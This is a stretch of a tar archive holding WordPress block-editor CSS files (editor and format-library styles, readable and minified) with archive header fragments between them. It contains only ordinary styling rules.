.editor-post-visibility__dialog-radio[type=radio]:-ms-input-placeholder { color: rgba(255, 255, 255, 0.65); } @media (min-width: 600px) { .edit-post-post-visibility__dialog .editor-post-visibility__dialog-radio[type=radio], .editor-post-visibility__dialog-fieldset .editor-post-visibility__dialog-radio[type=radio] { height: 20px; width: 20px; } } .edit-post-post-visibility__dialog .editor-post-visibility__dialog-radio[type=radio]:checked::before, .editor-post-visibility__dialog-fieldset .editor-post-visibility__dialog-radio[type=radio]:checked::before { width: 8px; height: 8px; transform: translate(7px, 7px); margin: 0; background-color: #fff; border: 4px solid #fff; } @media (min-width: 600px) { .edit-post-post-visibility__dialog .editor-post-visibility__dialog-radio[type=radio]:checked::before, .editor-post-visibility__dialog-fieldset .editor-post-visibility__dialog-radio[type=radio]:checked::before { transform: translate(5px, 5px); } } .edit-post-post-visibility__dialog .editor-post-visibility__dialog-radio[type=radio]:focus, .editor-post-visibility__dialog-fieldset .editor-post-visibility__dialog-radio[type=radio]:focus { box-shadow: 0 0 0 2px #fff, 0 0 0 4px #007cba; box-shadow: 0 0 0 2px #fff, 0 0 0 4px var(--wp-admin-theme-color); outline: 2px solid transparent; } .edit-post-post-visibility__dialog .editor-post-visibility__dialog-radio[type=radio]:checked, .editor-post-visibility__dialog-fieldset .editor-post-visibility__dialog-radio[type=radio]:checked { background: #007cba; background: var(--wp-admin-theme-color); border-color: #007cba; border-color: var(--wp-admin-theme-color); } .edit-post-post-visibility__dialog .editor-post-visibility__dialog-label, .editor-post-visibility__dialog-fieldset .editor-post-visibility__dialog-label { font-weight: 600; } .edit-post-post-visibility__dialog .editor-post-visibility__dialog-info, .editor-post-visibility__dialog-fieldset .editor-post-visibility__dialog-info { margin-top: 0; margin-left: 32px; } .edit-post-post-visibility__dialog .editor-post-visibility__choice:last-child .editor-post-visibility__dialog-info, .editor-post-visibility__dialog-fieldset .editor-post-visibility__choice:last-child .editor-post-visibility__dialog-info { margin-bottom: 0; } .editor-post-visibility__dialog-password .editor-post-visibility__dialog-password-input[type=text] { font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif; padding: 6px 8px; box-shadow: 0 0 0 transparent; transition: box-shadow 0.1s linear; border-radius: 2px; border: 1px solid #757575; /* Fonts smaller than 16px causes mobile safari to zoom. */ font-size: 16px; /* Override core line-height. To be reviewed. */ line-height: normal; margin-left: 36px; margin-top: 8px; } @media (prefers-reduced-motion: reduce) { .editor-post-visibility__dialog-password .editor-post-visibility__dialog-password-input[type=text] { transition-duration: 0s; } } @media (min-width: 600px) { .editor-post-visibility__dialog-password .editor-post-visibility__dialog-password-input[type=text] { font-size: 13px; /* Override core line-height. To be reviewed. */ line-height: normal; } } .editor-post-visibility__dialog-password .editor-post-visibility__dialog-password-input[type=text]:focus { border-color: #007cba; border-color: var(--wp-admin-theme-color); box-shadow: 0 0 0 1px #007cba; box-shadow: 0 0 0 1px var(--wp-admin-theme-color); outline: 2px solid transparent; } .editor-post-visibility__dialog-password .editor-post-visibility__dialog-password-input[type=text]::-webkit-input-placeholder { color: rgba(30, 30, 30, 0.62); } .editor-post-visibility__dialog-password .editor-post-visibility__dialog-password-input[type=text]::-moz-placeholder { opacity: 1; color: rgba(30, 30, 30, 0.62); } .editor-post-visibility__dialog-password .editor-post-visibility__dialog-password-input[type=text]:-ms-input-placeholder { color: rgba(30, 30, 30, 0.62); } .is-dark-theme .editor-post-visibility__dialog-password .editor-post-visibility__dialog-password-input[type=text]::-webkit-input-placeholder { color: rgba(255, 255, 255, 0.65); } .is-dark-theme .editor-post-visibility__dialog-password .editor-post-visibility__dialog-password-input[type=text]::-moz-placeholder { opacity: 1; color: rgba(255, 255, 255, 0.65); } .is-dark-theme .editor-post-visibility__dialog-password .editor-post-visibility__dialog-password-input[type=text]:-ms-input-placeholder { color: rgba(255, 255, 255, 0.65); } .editor-post-title { position: relative; } .editor-post-title .editor-post-title__input { display: block; width: 100%; margin: 0; box-shadow: none; background: transparent; transition: border 0.1s ease-out, box-shadow 0.1s linear; padding: 19px 0; word-break: keep-all; font-family: inherit; color: inherit; border: 1px solid transparent; border-left-width: 0; border-right-width: 0; border-radius: 0; outline: 1px solid transparent; font-size: 2.44em; font-weight: 800; line-height: 1.4; } @media (prefers-reduced-motion: reduce) { .editor-post-title .editor-post-title__input { transition-duration: 0s; } } @media (min-width: 600px) { .editor-post-title .editor-post-title__input { border-width: 1px; } } .editor-post-title .editor-post-title__input::-webkit-input-placeholder { color: rgba(30, 30, 30, 0.62); } .editor-post-title .editor-post-title__input::-moz-placeholder { color: rgba(30, 30, 30, 0.62); opacity: 1; } .editor-post-title .editor-post-title__input:-ms-input-placeholder { color: rgba(30, 30, 30, 0.62); } .is-dark-theme .editor-post-title .editor-post-title__input::-webkit-input-placeholder { color: rgba(255, 255, 255, 0.65); } .is-dark-theme .editor-post-title .editor-post-title__input::-moz-placeholder { opacity: 1; color: rgba(255, 255, 255, 0.65); } .is-dark-theme .editor-post-title .editor-post-title__input:-ms-input-placeholder { color: rgba(255, 255, 255, 0.65); } .editor-post-title .editor-post-title__input:focus { border: 1px solid transparent; outline: 1px solid transparent; box-shadow: none; } .editor-post-title.is-focus-mode .editor-post-title__input { opacity: 0.5; transition: opacity 0.1s linear; } @media (prefers-reduced-motion: reduce) { .editor-post-title.is-focus-mode .editor-post-title__input { transition-duration: 0s; } } .editor-post-title.is-focus-mode .editor-post-title__input:focus { opacity: 1; } .editor-post-trash.components-button { margin-top: 4px; } .table-of-contents__popover.components-popover .components-popover__content { min-width: 380px; } .components-popover.table-of-contents__popover { z-index: 99998; } .table-of-contents__popover .components-popover__content > div { padding: 16px; } @media (min-width: 600px) { .table-of-contents__popover .components-popover__content { max-height: calc(100vh - 120px); overflow-y: auto; } } .table-of-contents__popover hr { margin: 10px -16px 0; } .table-of-contents__wrapper:focus::before { content: ""; display: block; position: absolute; top: 0; right: 0; bottom: 0; left: 0; box-shadow: inset 0 0 0 2px #007cba; box-shadow: inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color); } .table-of-contents__counts { display: flex; flex-wrap: wrap; margin: 0; margin-top: -8px; } .table-of-contents__count { flex-basis: 33%; display: flex; flex-direction: column; font-size: 13px; color: #1e1e1e; padding-right: 8px; margin-bottom: 0; margin-top: 8px; } .table-of-contents__count:nth-child(4n) { padding-right: 0; } .table-of-contents__number, .table-of-contents__popover .word-count { font-size: 21px; font-weight: 400; line-height: 30px; color: #1e1e1e; } .table-of-contents__title { display: block; margin-top: 20px; font-size: 15px; font-weight: 600; } .editor-template-validation-notice { display: flex; justify-content: space-between; align-items: center; } .editor-template-validation-notice .components-button { margin-left: 5px; }css/dist/editor/style.min.css000064400000054142151202620300012216 0ustar00@charset "UTF-8";:root{--wp-admin-theme-color:#007cba;--wp-admin-theme-color-darker-10:#006ba1;--wp-admin-theme-color-darker-20:#005a87;--wp-admin-border-width-focus:2px}@media (-webkit-min-device-pixel-ratio:2),(min-resolution:192dpi){:root{--wp-admin-border-width-focus:1.5px}}.editor-autocompleters__user .editor-autocompleters__no-avatar:before{font:normal 20px/1 dashicons;content:"";margin-right:5px;vertical-align:middle}.editor-autocompleters__user .editor-autocompleters__user-avatar{margin-right:8px;flex-grow:0;flex-shrink:0;max-width:none;width:24px;height:24px}.editor-autocompleters__user .editor-autocompleters__user-name{white-space:nowrap;text-overflow:ellipsis;overflow:hidden;max-width:200px;flex-shrink:0;flex-grow:1}.editor-autocompleters__user .editor-autocompleters__user-slug{margin-left:8px;color:#757575;white-space:nowrap;text-overflow:ellipsis;overflow:none;max-width:100px;flex-grow:0;flex-shrink:0}.editor-autocompleters__user:hover .editor-autocompleters__user-slug{color:#007cba;color:var(--wp-admin-theme-color)}.document-outline{margin:20px 0}.document-outline ul{margin:0;padding:0}.document-outline__item{display:flex;margin:4px 0}.document-outline__item a{text-decoration:none}.document-outline__item .document-outline__emdash:before{color:#ddd;margin-right:4px}.document-outline__item.is-h2 .document-outline__emdash:before{content:"—"}.document-outline__item.is-h3 .document-outline__emdash:before{content:"——"}.document-outline__item.is-h4 .document-outline__emdash:before{content:"———"}.document-outline__item.is-h5 .document-outline__emdash:before{content:"————"}.document-outline__item.is-h6 .document-outline__emdash:before{content:"—————"}.document-outline__button{cursor:pointer;background:none;border:none;display:flex;align-items:flex-start;margin:0 0 0 -1px;padding:2px 5px 2px 1px;color:#1e1e1e;text-align:left;border-radius:2px}.document-outline__button:disabled{cursor:default}.document-outline__button:focus{box-shadow:0 0 0 2px #007cba;box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);outline:2px solid transparent}.document-outline__level{background:#ddd;color:#1e1e1e;border-radius:3px;font-size:13px;padding:1px 6px;margin-right:4px}.is-invalid .document-outline__level{background:#f0b849}.document-outline__item-content{padding:1px 0}.components-editor-notices__dismissible{position:-webkit-sticky;position:sticky;top:0;right:0;color:#1e1e1e}.components-editor-notices__pinned{position:relative;left:0;top:0;right:0;color:#1e1e1e}.components-editor-notices__dismissible .components-notice,.components-editor-notices__pinned .components-notice{box-sizing:border-box;margin:0;border-bottom:1px solid rgba(0,0,0,.2);padding:0 12px;min-height:60px}.components-editor-notices__dismissible .components-notice .components-notice__dismiss,.components-editor-notices__pinned .components-notice .components-notice__dismiss{margin-top:12px}.components-editor-notices__snackbar{width:100%}@media (min-width:782px){.components-editor-notices__snackbar{width:-webkit-fit-content;width:-moz-fit-content;width:fit-content}}.entities-saved-states__panel{background:#fff;position:fixed;z-index:100001;top:46px;bottom:0;right:0;left:0;overflow:auto;box-sizing:border-box}.entities-saved-states__panel *,.entities-saved-states__panel :after,.entities-saved-states__panel :before{box-sizing:inherit}.entities-saved-states__panel .entities-saved-states__find-entity{display:none}.entities-saved-states__panel .entities-saved-states__find-entity-small{display:block}@media (min-width:782px){.entities-saved-states__panel{top:32px;left:auto;width:280px;border-left:1px solid #ddd}body.is-fullscreen-mode .entities-saved-states__panel{top:0}.entities-saved-states__panel .entities-saved-states__find-entity{display:block}.entities-saved-states__panel .entities-saved-states__find-entity-small{display:none}}.entities-saved-states__panel .entities-saved-states__panel-header{background:#fff;padding-left:8px;padding-right:8px;height:61px;border-bottom:1px solid #ddd;display:flex;align-items:center;align-content:space-between}.entities-saved-states__panel .entities-saved-states__panel-header .editor-entities-saved-states__save-button{margin:auto}.entities-saved-states__panel .entities-saved-states__panel-header .components-button.has-icon{position:absolute;right:8px}.entities-saved-states__panel .entities-saved-states__text-prompt{padding:16px 16px 4px}.editor-error-boundary{max-width:780px;padding:20px;margin:60px auto auto;box-shadow:0 3px 30px rgba(0,0,0,.2)}.editor-page-attributes__template{margin-bottom:10px}.editor-page-attributes__order,.editor-page-attributes__template label,.editor-page-attributes__template select{width:100%}.editor-page-attributes__order .components-base-control__field{display:flex;justify-content:space-between;align-items:center}.editor-page-attributes__order input{width:66px}.editor-post-excerpt__textarea{width:100%;margin-bottom:10px}.editor-post-featured-image{padding:0}.editor-post-featured-image__container{margin-bottom:1em;position:relative}.editor-post-featured-image .components-spinner{position:absolute;top:50%;left:50%;margin-top:-9px;margin-left:-9px}.editor-post-featured-image .components-button+.components-button{display:block;margin-top:1em}.editor-post-featured-image .components-responsive-wrapper__content{max-width:100%;width:auto}.editor-post-featured-image__preview,.editor-post-featured-image__toggle{display:block;width:100%;padding:0;transition:all .1s ease-out;box-shadow:0 0 0 0 #007cba;box-shadow:0 0 0 0 var(--wp-admin-theme-color)}@media (prefers-reduced-motion:reduce){.editor-post-featured-image__preview,.editor-post-featured-image__toggle{transition-duration:0s}}.editor-post-featured-image__preview{height:auto}.editor-post-featured-image__preview:not(:disabled):not([aria-disabled=true]):focus{box-shadow:0 0 0 4px #007cba;box-shadow:0 0 0 4px var(--wp-admin-theme-color)}.editor-post-featured-image__toggle{border-radius:2px;background-color:#f0f0f0;min-height:90px;line-height:20px;padding:8px 0;text-align:center}.editor-post-featured-image__toggle:hover{background:#ddd;color:#1e1e1e}.editor-post-format{flex-direction:column;align-items:stretch;width:100%}.editor-post-format__content{display:inline-flex;justify-content:space-between;align-items:center;width:100%}.editor-post-format__suggestion{text-align:right;font-size:13px}.editor-post-last-revision__title{width:100%;font-weight:600}.editor-post-last-revision__title .dashicon{margin-right:5px}.components-button.editor-post-last-revision__title{height:100%}.components-button.editor-post-last-revision__title:active,.components-button.editor-post-last-revision__title:hover{background:#f0f0f0}.components-button.editor-post-last-revision__title:focus{box-shadow:inset 0 0 0 2px #007cba;box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);border-radius:0}.editor-post-locked-modal{height:auto;padding-right:10px;padding-left:10px;padding-top:10px;max-width:480px}.editor-post-locked-modal .components-modal__header{height:36px}.editor-post-locked-modal .components-modal__content{height:auto}.editor-post-locked-modal__buttons{margin-top:10px}.editor-post-locked-modal__buttons .components-button{margin-right:5px}.editor-post-locked-modal__avatar{float:left;margin:5px 15px 5px 5px}.editor-post-publish-button__button.has-changes-dot:before{background:currentcolor;border-radius:4px;content:"";height:8px;margin:auto 5px auto -3px;width:8px}.editor-post-publish-panel{background:#fff}.editor-post-publish-panel__content{min-height:calc(100% - 144px)}.editor-post-publish-panel__content .components-spinner{display:block;margin:100px auto 0}.editor-post-publish-panel__header{background:#fff;padding-left:16px;padding-right:16px;height:61px;border-bottom:1px solid #ddd;display:flex;align-items:center;align-content:space-between}.editor-post-publish-panel__header .components-button{width:100%;justify-content:center}.editor-post-publish-panel__header .has-icon{margin-left:auto;width:auto}.editor-post-publish-panel__header-cancel-button,.editor-post-publish-panel__header-publish-button{flex-grow:1}@media (min-width:480px){.editor-post-publish-panel__header-cancel-button,.editor-post-publish-panel__header-publish-button{max-width:160px}}.editor-post-publish-panel__header-publish-button{padding-right:4px}.editor-post-publish-panel__header-cancel-button{padding-left:4px}.editor-post-publish-panel__header-published{flex-grow:1}.editor-post-publish-panel__footer{padding:16px}.components-button.editor-post-publish-panel__toggle.is-primary{display:inline-flex;align-items:center}.components-button.editor-post-publish-panel__toggle.is-primary.is-busy .dashicon{display:none}.components-button.editor-post-publish-panel__toggle.is-primary .dashicon{margin-right:-4px}.editor-post-publish-panel__link{font-weight:400;padding-left:4px}.editor-post-publish-panel__prepublish{padding:16px}.editor-post-publish-panel__prepublish strong{color:#1e1e1e}.editor-post-publish-panel__prepublish .components-panel__body{background:#fff;margin-left:-16px;margin-right:-16px}.editor-post-publish-panel__prepublish .editor-post-visibility__dialog-legend{display:none}.post-publish-panel__postpublish .components-panel__body{border-bottom:1px solid #e0e0e0;border-top:none}.post-publish-panel__postpublish-buttons{display:flex;align-content:space-between;flex-wrap:wrap;margin:-5px}.post-publish-panel__postpublish-buttons>*{flex-grow:1;margin:5px}.post-publish-panel__postpublish-buttons .components-button{height:auto;justify-content:center;padding:3px 10px 4px;line-height:1.6;text-align:center;white-space:normal}.post-publish-panel__postpublish-buttons .components-clipboard-button{width:100%}.post-publish-panel__postpublish-post-address{margin-bottom:16px}.post-publish-panel__postpublish-post-address input[readonly]{padding:10px;background:#ddd;overflow:hidden;text-overflow:ellipsis}.post-publish-panel__postpublish-header{font-weight:500}.post-publish-panel__postpublish-subheader{margin:0 0 8px}.post-publish-panel__tip{color:#f0b849}.editor-post-saved-state{display:flex;align-items:center;width:28px;padding:12px 4px;color:#757575;overflow:hidden;white-space:nowrap}.editor-post-saved-state svg{display:inline-block;flex:0 0 auto;fill:currentColor;margin-right:8px}@media (min-width:600px){.editor-post-saved-state{width:auto;padding:8px 12px;text-indent:inherit}.editor-post-saved-state svg{margin-right:4px}}.editor-post-taxonomies__hierarchical-terms-list{max-height:14em;overflow:auto;margin-left:-6px;padding-left:6px;margin-top:-6px;padding-top:6px}.editor-post-taxonomies__hierarchical-terms-choice{margin-bottom:8px}.editor-post-taxonomies__hierarchical-terms-subchoices{margin-top:8px;margin-left:16px}.components-button.editor-post-taxonomies__hierarchical-terms-add,.components-button.editor-post-taxonomies__hierarchical-terms-submit{margin-top:12px}.editor-post-taxonomies__hierarchical-terms-label{display:inline-block;margin-top:12px}.editor-post-taxonomies__hierarchical-terms-input{margin-top:8px;width:100%}.editor-post-taxonomies__hierarchical-terms-filter{margin-bottom:8px;width:100%}.edit-post-text-editor__body textarea.editor-post-text-editor{border:1px solid #949494;border-radius:0;display:block;margin:0;width:100%;box-shadow:none;resize:none;overflow:hidden;font-family:Menlo,Consolas,monaco,monospace;line-height:2.4;min-height:200px;transition:border .1s ease-out,box-shadow .1s linear;padding:16px;font-size:16px!important}@media (prefers-reduced-motion:reduce){.edit-post-text-editor__body textarea.editor-post-text-editor{transition-duration:0s}}@media (min-width:600px){.edit-post-text-editor__body textarea.editor-post-text-editor{padding:24px;font-size:15px!important}}.edit-post-text-editor__body textarea.editor-post-text-editor:focus{border-color:#007cba;border-color:var(--wp-admin-theme-color);box-shadow:0 0 0 2px #007cba;box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);position:relative}.edit-post-text-editor__body textarea.editor-post-text-editor::-webkit-input-placeholder{color:rgba(30,30,30,.62)}.edit-post-text-editor__body textarea.editor-post-text-editor::-moz-placeholder{color:rgba(30,30,30,.62);opacity:1}.edit-post-text-editor__body textarea.editor-post-text-editor:-ms-input-placeholder{color:rgba(30,30,30,.62)}.edit-post-post-visibility__dialog,.editor-post-visibility__dialog-fieldset{padding:0 4px 4px}.edit-post-post-visibility__dialog .editor-post-visibility__dialog-legend,.editor-post-visibility__dialog-fieldset .editor-post-visibility__dialog-legend{font-weight:600;margin-bottom:1em;margin-top:.5em;padding:0}.edit-post-post-visibility__dialog .editor-post-visibility__dialog-radio[type=radio],.editor-post-visibility__dialog-fieldset .editor-post-visibility__dialog-radio[type=radio]{font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;padding:6px 8px;box-shadow:0 0 0 transparent;transition:box-shadow .1s linear;border-radius:2px;font-size:16px;line-height:normal;border:1px solid #1e1e1e;margin-right:12px;transition:none;border-radius:50%;width:24px;height:24px;margin-top:2px}@media (prefers-reduced-motion:reduce){.edit-post-post-visibility__dialog .editor-post-visibility__dialog-radio[type=radio],.editor-post-visibility__dialog-fieldset .editor-post-visibility__dialog-radio[type=radio]{transition-duration:0s}}@media (min-width:600px){.edit-post-post-visibility__dialog .editor-post-visibility__dialog-radio[type=radio],.editor-post-visibility__dialog-fieldset .editor-post-visibility__dialog-radio[type=radio]{font-size:13px;line-height:normal}}.edit-post-post-visibility__dialog .editor-post-visibility__dialog-radio[type=radio]:focus,.editor-post-visibility__dialog-fieldset .editor-post-visibility__dialog-radio[type=radio]:focus{border-color:#007cba;border-color:var(--wp-admin-theme-color);box-shadow:0 0 0 1px #007cba;box-shadow:0 0 0 1px var(--wp-admin-theme-color)}.edit-post-post-visibility__dialog .editor-post-visibility__dialog-radio[type=radio]::-webkit-input-placeholder,.editor-post-visibility__dialog-fieldset .editor-post-visibility__dialog-radio[type=radio]::-webkit-input-placeholder{color:rgba(30,30,30,.62)}.edit-post-post-visibility__dialog .editor-post-visibility__dialog-radio[type=radio]::-moz-placeholder,.editor-post-visibility__dialog-fieldset .editor-post-visibility__dialog-radio[type=radio]::-moz-placeholder{opacity:1;color:rgba(30,30,30,.62)}.edit-post-post-visibility__dialog .editor-post-visibility__dialog-radio[type=radio]:-ms-input-placeholder,.editor-post-visibility__dialog-fieldset .editor-post-visibility__dialog-radio[type=radio]:-ms-input-placeholder{color:rgba(30,30,30,.62)}.is-dark-theme .edit-post-post-visibility__dialog .editor-post-visibility__dialog-radio[type=radio]::-webkit-input-placeholder,.is-dark-theme .editor-post-visibility__dialog-fieldset .editor-post-visibility__dialog-radio[type=radio]::-webkit-input-placeholder{color:hsla(0,0%,100%,.65)}.is-dark-theme .edit-post-post-visibility__dialog .editor-post-visibility__dialog-radio[type=radio]::-moz-placeholder,.is-dark-theme .editor-post-visibility__dialog-fieldset .editor-post-visibility__dialog-radio[type=radio]::-moz-placeholder{opacity:1;color:hsla(0,0%,100%,.65)}.is-dark-theme .edit-post-post-visibility__dialog .editor-post-visibility__dialog-radio[type=radio]:-ms-input-placeholder,.is-dark-theme .editor-post-visibility__dialog-fieldset .editor-post-visibility__dialog-radio[type=radio]:-ms-input-placeholder{color:hsla(0,0%,100%,.65)}@media (min-width:600px){.edit-post-post-visibility__dialog .editor-post-visibility__dialog-radio[type=radio],.editor-post-visibility__dialog-fieldset .editor-post-visibility__dialog-radio[type=radio]{height:20px;width:20px}}.edit-post-post-visibility__dialog .editor-post-visibility__dialog-radio[type=radio]:checked:before,.editor-post-visibility__dialog-fieldset .editor-post-visibility__dialog-radio[type=radio]:checked:before{width:8px;height:8px;transform:translate(7px,7px);margin:0;background-color:#fff;border:4px solid #fff}@media (min-width:600px){.edit-post-post-visibility__dialog .editor-post-visibility__dialog-radio[type=radio]:checked:before,.editor-post-visibility__dialog-fieldset .editor-post-visibility__dialog-radio[type=radio]:checked:before{transform:translate(5px,5px)}}.edit-post-post-visibility__dialog .editor-post-visibility__dialog-radio[type=radio]:focus,.editor-post-visibility__dialog-fieldset .editor-post-visibility__dialog-radio[type=radio]:focus{box-shadow:0 0 0 2px #fff,0 0 0 4px #007cba;box-shadow:0 0 0 2px #fff,0 0 0 4px var(--wp-admin-theme-color);outline:2px solid transparent}.edit-post-post-visibility__dialog .editor-post-visibility__dialog-radio[type=radio]:checked,.editor-post-visibility__dialog-fieldset .editor-post-visibility__dialog-radio[type=radio]:checked{background:#007cba;background:var(--wp-admin-theme-color);border-color:#007cba;border-color:var(--wp-admin-theme-color)}.edit-post-post-visibility__dialog .editor-post-visibility__dialog-label,.editor-post-visibility__dialog-fieldset .editor-post-visibility__dialog-label{font-weight:600}.edit-post-post-visibility__dialog .editor-post-visibility__dialog-info,.editor-post-visibility__dialog-fieldset .editor-post-visibility__dialog-info{margin-top:0;margin-left:32px}.edit-post-post-visibility__dialog .editor-post-visibility__choice:last-child .editor-post-visibility__dialog-info,.editor-post-visibility__dialog-fieldset .editor-post-visibility__choice:last-child .editor-post-visibility__dialog-info{margin-bottom:0}.editor-post-visibility__dialog-password .editor-post-visibility__dialog-password-input[type=text]{font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;padding:6px 8px;box-shadow:0 0 0 transparent;transition:box-shadow .1s linear;border-radius:2px;border:1px solid #757575;font-size:16px;line-height:normal;margin-left:36px;margin-top:8px}@media (prefers-reduced-motion:reduce){.editor-post-visibility__dialog-password .editor-post-visibility__dialog-password-input[type=text]{transition-duration:0s}}@media (min-width:600px){.editor-post-visibility__dialog-password .editor-post-visibility__dialog-password-input[type=text]{font-size:13px;line-height:normal}}.editor-post-visibility__dialog-password .editor-post-visibility__dialog-password-input[type=text]:focus{border-color:#007cba;border-color:var(--wp-admin-theme-color);box-shadow:0 0 0 1px #007cba;box-shadow:0 0 0 1px var(--wp-admin-theme-color);outline:2px solid transparent}.editor-post-visibility__dialog-password .editor-post-visibility__dialog-password-input[type=text]::-webkit-input-placeholder{color:rgba(30,30,30,.62)}.editor-post-visibility__dialog-password .editor-post-visibility__dialog-password-input[type=text]::-moz-placeholder{opacity:1;color:rgba(30,30,30,.62)}.editor-post-visibility__dialog-password .editor-post-visibility__dialog-password-input[type=text]:-ms-input-placeholder{color:rgba(30,30,30,.62)}.is-dark-theme .editor-post-visibility__dialog-password .editor-post-visibility__dialog-password-input[type=text]::-webkit-input-placeholder{color:hsla(0,0%,100%,.65)}.is-dark-theme .editor-post-visibility__dialog-password .editor-post-visibility__dialog-password-input[type=text]::-moz-placeholder{opacity:1;color:hsla(0,0%,100%,.65)}.is-dark-theme .editor-post-visibility__dialog-password .editor-post-visibility__dialog-password-input[type=text]:-ms-input-placeholder{color:hsla(0,0%,100%,.65)}.editor-post-title{position:relative}.editor-post-title .editor-post-title__input{display:block;width:100%;margin:0;box-shadow:none;background:transparent;transition:border .1s ease-out,box-shadow .1s linear;padding:19px 0;word-break:keep-all;font-family:inherit;color:inherit;border-color:transparent;border-style:solid;border-width:1px 0;border-radius:0;outline:1px solid transparent;font-size:2.44em;font-weight:800;line-height:1.4}@media (prefers-reduced-motion:reduce){.editor-post-title .editor-post-title__input{transition-duration:0s}}@media (min-width:600px){.editor-post-title .editor-post-title__input{border-width:1px}}.editor-post-title .editor-post-title__input::-webkit-input-placeholder{color:rgba(30,30,30,.62)}.editor-post-title .editor-post-title__input::-moz-placeholder{color:rgba(30,30,30,.62);opacity:1}.editor-post-title .editor-post-title__input:-ms-input-placeholder{color:rgba(30,30,30,.62)}.is-dark-theme .editor-post-title .editor-post-title__input::-webkit-input-placeholder{color:hsla(0,0%,100%,.65)}.is-dark-theme .editor-post-title .editor-post-title__input::-moz-placeholder{opacity:1;color:hsla(0,0%,100%,.65)}.is-dark-theme .editor-post-title .editor-post-title__input:-ms-input-placeholder{color:hsla(0,0%,100%,.65)}.editor-post-title .editor-post-title__input:focus{border:1px solid transparent;outline:1px solid transparent;box-shadow:none}.editor-post-title.is-focus-mode .editor-post-title__input{opacity:.5;transition:opacity .1s linear}@media (prefers-reduced-motion:reduce){.editor-post-title.is-focus-mode .editor-post-title__input{transition-duration:0s}}.editor-post-title.is-focus-mode .editor-post-title__input:focus{opacity:1}.editor-post-trash.components-button{margin-top:4px}.table-of-contents__popover.components-popover .components-popover__content{min-width:380px}.components-popover.table-of-contents__popover{z-index:99998}.table-of-contents__popover .components-popover__content>div{padding:16px}@media (min-width:600px){.table-of-contents__popover .components-popover__content{max-height:calc(100vh - 120px);overflow-y:auto}}.table-of-contents__popover hr{margin:10px -16px 0}.table-of-contents__wrapper:focus:before{content:"";display:block;position:absolute;top:0;right:0;bottom:0;left:0;box-shadow:inset 0 0 0 2px #007cba;box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color)}.table-of-contents__counts{display:flex;flex-wrap:wrap;margin:-8px 0 0}.table-of-contents__count{flex-basis:33%;display:flex;flex-direction:column;font-size:13px;color:#1e1e1e;padding-right:8px;margin-bottom:0;margin-top:8px}.table-of-contents__count:nth-child(4n){padding-right:0}.table-of-contents__number,.table-of-contents__popover .word-count{font-size:21px;font-weight:400;line-height:30px;color:#1e1e1e}.table-of-contents__title{display:block;margin-top:20px;font-size:15px;font-weight:600}.editor-template-validation-notice{display:flex;justify-content:space-between;align-items:center}.editor-template-validation-notice .components-button{margin-left:5px}css/dist/format-library/style-rtl.css000064400000007174151202620300013702 0ustar00/** * Colors */ /** * Breakpoints & Media Queries */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Dimensions. */ /** * Shadows. */ /** * Editor widths. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ /** * Breakpoint mixins */ /** * Long content fade mixin * * Creates a fading overlay to signify that the content is longer * than the space allows. */ /** * Focus styles. */ /** * Applies editor left position to the selector passed as argument */ /** * Styles that are reused verbatim in a few places */ /** * Allows users to opt-out of animations via OS-level preferences. */ /** * Reset default styles for JavaScript UI based pages. * This is a WP-admin agnostic reset */ /** * Reset the WP Admin page styles for Gutenberg-like pages. */ /** * These are default block editor widths in case the theme doesn't provide them. */ :root { --wp-admin-theme-color: #007cba; --wp-admin-theme-color-darker-10: #006ba1; --wp-admin-theme-color-darker-20: #005a87; --wp-admin-border-width-focus: 2px; } @media (-webkit-min-device-pixel-ratio: 2), (min-resolution: 192dpi) { :root { --wp-admin-border-width-focus: 1.5px; } } .block-editor-format-toolbar__image-popover { z-index: 159990; } .block-editor-format-toolbar__image-container-content { display: flex; } .block-editor-format-toolbar__image-container-content .components-button { align-self: flex-end; height: 30px; margin-bottom: 8px; margin-left: 8px; padding: 0 6px; } .block-editor-format-toolbar__image-container-value { margin: 7px; flex-grow: 1; flex-shrink: 1; white-space: nowrap; min-width: 150px; max-width: 500px; } .block-editor-format-toolbar__image-container-value.components-base-control .components-base-control__field { margin-bottom: 0; } .block-editor-format-toolbar__image-container-value.components-base-control .components-base-control__label { display: block; } .block-editor-format-toolbar__link-container-content { display: flex; } .block-editor-format-toolbar__link-container-value { margin: 7px; flex-grow: 1; flex-shrink: 1; overflow: hidden; text-overflow: ellipsis; white-space: nowrap; min-width: 150px; max-width: 500px; } .block-editor-format-toolbar__link-container-value.has-invalid-link { color: #cc1818; } .components-inline-color__indicator { position: absolute; background: #000; height: 3px; width: 20px; bottom: 6px; right: auto; left: auto; margin: 0 5px; } .components-inline-color-popover .components-popover__content > div { padding: 20px 18px; } .components-inline-color-popover .components-popover__content .components-color-palette { margin-top: 0.6rem; } .components-inline-color-popover .components-popover__content .components-base-control__title { display: block; margin-bottom: 16px; font-weight: 600; color: #191e23; } .components-inline-color-popover .components-popover__content .component-color-indicator { vertical-align: text-bottom; } .format-library-text-color-button { position: relative; } .format-library-text-color-button__indicator { height: 4px; width: 20px; position: absolute; bottom: 10px; right: 8px; }css/dist/format-library/style-rtl.min.css000064400000003733151202620300014461 0ustar00:root{--wp-admin-theme-color:#007cba;--wp-admin-theme-color-darker-10:#006ba1;--wp-admin-theme-color-darker-20:#005a87;--wp-admin-border-width-focus:2px}@media 